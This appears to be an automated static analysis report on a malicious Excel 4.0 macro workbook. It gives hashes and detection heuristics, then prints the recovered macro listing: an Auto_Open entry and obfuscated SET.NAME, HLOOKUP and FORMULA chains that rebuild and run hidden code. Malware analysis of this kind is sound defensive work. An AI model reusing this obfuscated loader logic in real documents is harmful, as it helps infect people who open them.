Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65e03a8fcbcc7287…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:07 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 7d68fe2127cbde4d9d99eedd65e41e39 SHA-1: 6fbdd1270166cd5228ab27d27853ca152ba22486 SHA-256: 65e03a8fcbcc7287a9d47b37c7a7030d2f3a8004ab1154a580a321d8c05bff66
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6469 bytes
SHA-256: 51e1437a3e6c3c84ef52b6f9c58940574bbdf9b293e874ac61ae31043a02083a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LwPzt
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F149 
' 0018     25 LABEL : Cell Value, String Constant - awzQHOxjfR len=0 
' 0018     24 LABEL : Cell Value, String Constant - CIurXcDiF len=0 
' 0018     27 LABEL : Cell Value, String Constant - cPXQEzXMSobT len=0 
' 0018     26 LABEL : Cell Value, String Constant - DzUciQPGnKj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ewvsaPkJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - FMSIPy len=0 
' 0018     23 LABEL : Cell Value, String Constant - hzgLLppf len=0 
' 0018     25 LABEL : Cell Value, String Constant - IjTHYidFFm len=0 
' 0018     23 LABEL : Cell Value, String Constant - jmyFOWHj len=0 
' 0018     26 LABEL : Cell Value, String Constant - LRFcxxqfUXQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - MAdywIr len=0 
' 0018     25 LABEL : Cell Value, String Constant - nttehwQBkp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ohdfR len=0 
' 0018     23 LABEL : Cell Value, String Constant - OnCXGSSP len=0 
' 0018     21 LABEL : Cell Value, String Constant - pVqqFD len=0 
' 0018     27 LABEL : Cell Value, String Constant - QbVFfbzhShOY len=0 
' 0018     21 LABEL : Cell Value, String Constant - qLGINI len=0 
' 0018     27 LABEL : Cell Value, String Constant - qsZcbzPyPwOp len=0 
' 0018     27 LABEL : Cell Value, String Constant - UAOBqChqExCU len=0 
' 0018     21 LABEL : Cell Value, String Constant - UIiaqY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LwPzt,F50,"SET.NAME("MAdywIr",VALUE("0"))",""
'  LwPzt,F54,"SET.NAME("QbVFfbzhShOY",MAdywIr)",""
'  LwPzt,F59,"SET.NAME("awzQHOxjfR",MAdywIr)",""
'  LwPzt,F62,"SET.NAME("FMSIPy",COUNTA(qsZcbzPyPwOp))",""
'  LwPzt,F67,"SET.NAME("UIiaqY",COUNTA(UAOBqChqExCU))",""
'  LwPzt,F69,[],""
'  LwPzt,F74,"SET.NAME("DzUciQPGnKj","")",""
'  LwPzt,F78,"QbVFfbzhShOY",""
'  LwPzt,F81,"SET.NAME("OnCXGSSP",HLOOKUP("*",qsZcbzPyPwOp,QbVFfbzhShOY,FALSE))",""
'  LwPzt,F83,"ewvsaPkJ",""
'  LwPzt,F87,"SET.NAME("qLGINI",MAdywIr)",""
'  LwPzt,F89,[],""
'  LwPzt,F91,"qLGINI",""
'  LwPzt,F96,"cPXQEzXMSobT",""
'  LwPzt,F100,"IjTHYidFFm",""
'  LwPzt,F105,"hzgLLppf",""
'  LwPzt,F107,"SET.NAME("pVqqFD",VALUE(HLOOKUP("*",UAOBqChqExCU,hzgLLppf,FALSE)))",""
'  LwPzt,F112,"nttehwQBkp",""
'  LwPzt,F116,"DzUciQPGnKj",""
'  LwPzt,F120,"awzQHOxjfR",""
'  LwPzt,F124,NEXT(),""
'  LwPzt,F129,"CIurXcDiF",""
'  LwPzt,F133,"SET.NAME("f",INT(T(FORMULA(T(DzUciQPGnKj)&"",""&T(CIurXcDiF)))))",""
'  LwPzt,F138,"LRFcxxqfUXQ",""
'  LwPzt,F140,NEXT(),""
'  LwPzt,F144,RETURN(),""
'  LwPzt,F170,"SET.NAME("ohdfR",F50)",""
'  LwPzt,F173,"qsZcbzPyPwOp",""
'  LwPzt,F176,"SET.NAME("UAOBqChqExCU",R65C13)",""
'  LwPzt,F180,"SET.NAME("LRFcxxqfUXQ",190)",""
'  LwPzt,F185,"SET.NAME("jmyFOWHj",6)",""
'  LwPzt,F189,ohdfR(),""
'  LwPzt,F190,HALT(),""